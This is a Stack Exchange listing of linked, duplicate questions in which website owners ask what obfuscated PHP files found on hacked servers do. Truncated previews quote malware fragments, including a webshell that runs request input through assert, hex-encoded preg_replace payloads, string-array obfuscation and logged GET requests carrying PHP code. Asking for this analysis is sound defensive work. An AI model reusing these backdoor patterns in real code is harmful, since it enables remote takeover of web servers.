Linked Questions

73
votes
5answers
24k views

Found suspicious, obfuscated PHP file. Is this a hack attempt on my website? [duplicate]

I just noticed that the top line of my index.php file got changed to what's below. <?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\...
30
votes
2answers
4k views

WordPress hacked, found suspicious file [duplicate]

Basically a website I am running got hacked in January and sent out a whole bunch of spam mails, traffic went through the roof, so the hosting company disabled the site back then, but that wasn't ...
18
votes
2answers
4k views

What does this suspicious PHP code do? [duplicate]

I'm cleaning up a website after an attack which resulted in many PHP shells being uploaded. I've found and removed the following code: if(isset($_REQUEST['e'])) { $b="ass"."ert";$a=$b($_REQUEST['e']);...
13
votes
3answers
3k views

How to deobfuscate this PHP malware? [duplicate]

Two days ago a file called "images.php" appeared on a friend's server, which he noticed because it caused errors. The file contained the following. This code is of unknown origin and presumed to be ...
5
votes
2answers
4k views

Malicious code is injected to a PHP file [duplicate]

My site is built using Wordpress. One day it stopped working and found an error in one PHP file. When I downloaded that PHP file to see what happened, my antivirus (Microsoft Security Essentials) ...
1
vote
1answer
3k views

Please help me understand this PHP hack [duplicate]

We have found this on a hacked PHP webserver. It was in a single file. This file was included from somewhere else with @require. That's what we know: This site is running PHP 5.3 The site had ...
3
votes
1answer
3k views

Could someone help me deobfuscate this malicious script code [duplicate]

Two months ago one of our Wordpress sites was infested through and through. This was at the same time I started working at this company. Our main platform is Plone, but I guess they did some on the ...
-3
votes
1answer
841 views

I need to decode this suspicious code and explain what it is doing? [duplicate]

$llkas = '-tl#o3s1vnHr_ue*2b\'8c6mx9fya0ip47kgd'; $spvgazs = Array(); $spvgazs[] = $llkas[10].$llkas[15]; $spvgazs[] = $llkas[19].$llkas[19].$llkas[16].$llkas[16].$llkas[27].$llkas[27].$...
-1
votes
3answers
756 views

PHP Code Found Is It Malicious? [duplicate]

I found the following code on my website. What does it do? Is it malicious? <?php @ignore_user_abort(true); @set_time_limit(0); $getherw3423 = "FFS"."W35"."25KK"."Sfj"; $...
1
vote
2answers
592 views

Shared hosting is hacked [duplicate]

My shared hosting with GoDaddy was hacked by injecting a PHP file (deade6.php) that is recreated every time I delete it. I also tried to modify the .htaccess but it gets recreated as follows: <...
0
votes
1answer
451 views

Strange PHP file found on web server [duplicate]

I've found a very strange PHP file with a very long regexp in a customer web server. The file is named 'god.php', and this is their content: <?php preg_replace("/.*/e", "\x28\x65\x76\x61\x6C\x28\...
0
votes
2answers
435 views

Malicious code found - translation please? [duplicate]

An unfriendly visitor left some code on my website. Unfortunately, the coding makes it hard to understand what he wants (probably full control over my server). Any help in deciphering the actual ...
0
votes
1answer
333 views

Execution of PHP function's through HTTP GET request by hacker [duplicate]

We are continuously receiving following requests on our apache server from the hackers ?1=@ini_set(%22display_errors%22,%220%22);@set_time_limit(0); @set_magic_quotes_runtime(0);echo%20'-%3E%7C';...
2
votes
1answer
188 views

Just another suspiciously looking php script [duplicate]

My hosting blocked my website because malware, they say. I dived into the (shared) server via ssh and found a file that looks suspicious. This file was in an old, not working installation of wordpress ...
0
votes
1answer
292 views

Is this strange PHP file that I found on my server malicious? [duplicate]

I found a PHP file that I don't know where it came from on my server: <?php $ojcsoo = '_-bHft\'dik1x6cn9leapm0y4s7vg5*r8ou#2';$zjdtjcd = Array();$zjdtjcd[] = $ojcsoo[3].$ojcsoo[29];$zjdtjcd[] = $...

15 30 50 per page